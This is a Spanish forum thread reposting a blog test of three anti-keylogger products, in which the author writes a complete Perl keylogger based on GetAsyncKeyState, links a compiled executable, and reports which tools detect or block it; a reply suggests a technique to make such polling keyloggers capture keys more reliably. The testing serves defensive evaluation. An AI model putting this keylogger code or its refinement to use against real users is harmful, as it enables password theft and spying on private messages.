PDA

Ver la versión completa : Anti-Keyloggers a examen



LUK
14-02-2011, 13:40
Uno de los riesgos mas preocupantes que nos podemos encontrar cuando usamos un PC es que todas las pulsaciones realizadas sobre él sean interceptadas y grabadas.

Los famosos 'Keyloggers (http://es.wikipedia.org/wiki/Keylogger)' resultan muy útiles para robar principalmente contraseñas, aunque también supone un riesgo contra nuestra privacidad si todos los correos escritos / conversaciones de chat etc son interceptados.

Existen un buen numero de programas 'Anti keyloggers', de todos ellos he seleccionado 3

Zemana AntiLogger (http://www.zemana.com/)
DataGuard AntiKeylogger (http://www.maxsecuritylab.com/dataguard-anti-keylogger/download-anti-keyloger.php)
PrivacyKeyboard (http://www.anti-keylogger.com/)

Todos ellos prometen lo mismo: son capaces de detectar y bloquear cualquier tipo de keylogger conocido o desconocido, es decir, no actúan con listas negras / blancas, analizan comportamiento.

Para ponerlos a prueba he preferido no usar algún keylogger conocido y famoso por aquello del ¿será verdad que no usan firmas?. Así que me he hecho mi propio keylogger.

Mi Keylogger es extremadamente simple y sencillo, haciendo uso de GetAsyncKeyState (http://msdn.microsoft.com/en-us/library/ms646293%28v=vs.85%29.aspx), una llamada disponible en el API de Windows, he construido un simple pero efectivo keylogger en Perl.

El keylogger registra cualquier pulsación del teclado y permite escribir lo capturado o bien por pantalla, o en un fichero especificado como primer argumento.


use Win32::API;
use Time::HiRes qw(usleep);
use strict ;

$|=1;

$SIG{'INT'} = \&muere;
$SIG{'QUIT'} = \&muere;
$SIG{'KILL'} = \&muere;
$SIG{'ABRT'} = \&muere;
$SIG{'STOP'} = \&muere;

sub muere

{
close FH ;
exit 0;
}

my $rsGetAsyncKeyState = new Win32::API("user32", "GetAsyncKeyState", "N", "I");
my $ret;
my $keyCode;


while(1) {
if (@ARGV[0]) {

open (FH, ">>", "@ARGV[0]") ;

}

for ($keyCode=0; $keyCode<256; $keyCode++) {

$ret = $rsGetAsyncKeyState->Call($keyCode);

if ($ret eq -32767) {

my $tecla= chr($keyCode);

if (@ARGV[0]) {

if ($keyCode == "13") { print FH "\n" }
print FH "$tecla"

}

else {

if ($keyCode == "13") { print "\n" }
print "$tecla"

}
}
}
usleep(1000);
}



Se puede descargar ya convertido en .exe aquí (http://sbdtools.googlecode.com/files/keylog.exe)



Zemana AntiLogger

Una vez completado el proceso de instalación (siguiente siguiente fin) procedemos a ejecutar keylog.exe desde un cmd.exe y automáticamente aparece una notificación en el tray:


http://4.bp.blogspot.com/-FgDCfMpOgwc/TVWN-hDfvmI/AAAAAAAABEQ/4GUd_-BDfn8/s320/zemana.jpg (http://4.bp.blogspot.com/-FgDCfMpOgwc/TVWN-hDfvmI/AAAAAAAABEQ/4GUd_-BDfn8/s1600/zemana.jpg)

Perfecto ! lo ha pillado a la primera, ha identificado que es un keylogger y lo ha bloqueado. Al intentar volver a ejecutar el proceso keylog.exe, directamente no se ejecuta, si copiamos el .exe con otro nombre, da igual, está bloqueado.


DataGuard AntiKeylogger

Una vez hecha la instalación nos pide que re-iniciemos el sistema, terminado ese paso ya está activo.

Repetimos la prueba, ejecutamos keylog.exe y ¡sorpresa! no tenemos ningún evento que notifique que hay un keylogger en uso, no obstante, el keylogger no funciona. Asumo que DataGuard bloquea ciertas llamadas al sistema como método de protección. Bien por bloquear el keylogger, mal por no haberlo detectado.

Si vamos a los logs del programa:


http://3.bp.blogspot.com/-Bva382-mzRA/TVWQDRlQW-I/AAAAAAAABEU/Q-ZcWddnI14/s320/dataguard.jpg (http://3.bp.blogspot.com/-Bva382-mzRA/TVWQDRlQW-I/AAAAAAAABEU/Q-ZcWddnI14/s1600/dataguard.jpg)

Vemos que si ha detectado y bloqueado parte del software de VMware, siendo este claramente un falso positivo.


PrivacyKeyboard

Vamos con la tercera prueba, una vez instalamos PrivacyKeyboard, lanzamos nuestro -a estas alturas- ya querido keylog.exe y ¡vaya! ni un solo evento / notificación, no obstante y repitiendo el mismo patrón que con DataGuard, el keylog tampoco es efectivo, no recoge datos.

Si observamos el visor de logs del programa:


http://4.bp.blogspot.com/-ksl11VQgURw/TVWQ2SLaDXI/AAAAAAAABEY/IAKblXWkpFs/s320/privacy.jpg (http://4.bp.blogspot.com/-ksl11VQgURw/TVWQ2SLaDXI/AAAAAAAABEY/IAKblXWkpFs/s1600/privacy.jpg)

Se repite el mismo falso positivo con VMware que daba DataGuard.


Conclusión

Todas las soluciones analizadas han sido capaces de bloquear el uso de nuestro simple keylogger volviéndolo inefectivo. Pero solo una, Zemana, es capaz de identificar el keylogger y avisarnos de que está siendo utilizado en el sistema. El resto, no solo no nos han notificado, sino que además han cometido falsos positivos



Publicado por Yago Jesus en http://www.securitybydefault.com/2011/02/anti-keyloggers-examen.html

hystd
14-02-2011, 20:34
El uso de la función GetAsyncKeyState es bastante conocido. Al no utilizar ganchos (hooks) se presentan sus ventajas y desventajas.

Ventaja: No es detectado por los anti-malwares.
Desventaja: No se atiende a eventos. No se puede saber a priori cuándo una tecla ha sido pulsada o soltada (es una función asíncrona), por lo que es necesario estar continuamente interrogando el estado de cada tecla para saber su estado (hacer un polling o sondeo a las teclas que se quiere inspeccionar).

El problema radica en que, tal y como está el ejemplo, dicho sondeo se hace cada segundo (1000 ms), y si tenemos en cuenta la velocidad de pulsaciones de muchos usuarios, puede darse el caso que pase por alto el haber pulsado una tecla (el keylogger no asegura que se intercepten el 100% de las teclas pulsadas).

Por el contrario, si se establece que el sondeo se realice, por ejemplo cada 1ms, las teclas pulsadas saldrán repetidas: (usuario escribe "hola" el keylogger registra: "hhhhhhhhoooooooollllllllaaaaaa").

Como solución a este problema, en un código similar improvisé una solución, que se basa en hacer uso de la función GetKeyBoardState, sondeando cada 1ms, y comparando el estado del bufer devuelto por esta función con la siguiente captura. Si son iguales, quiere decir que el usuario aún no ha pulsado/soltado la tecla i-esima del buffer y si son distintos, la tecla i-esima del buffer ha sido pulsada/soltada.

Un saludo.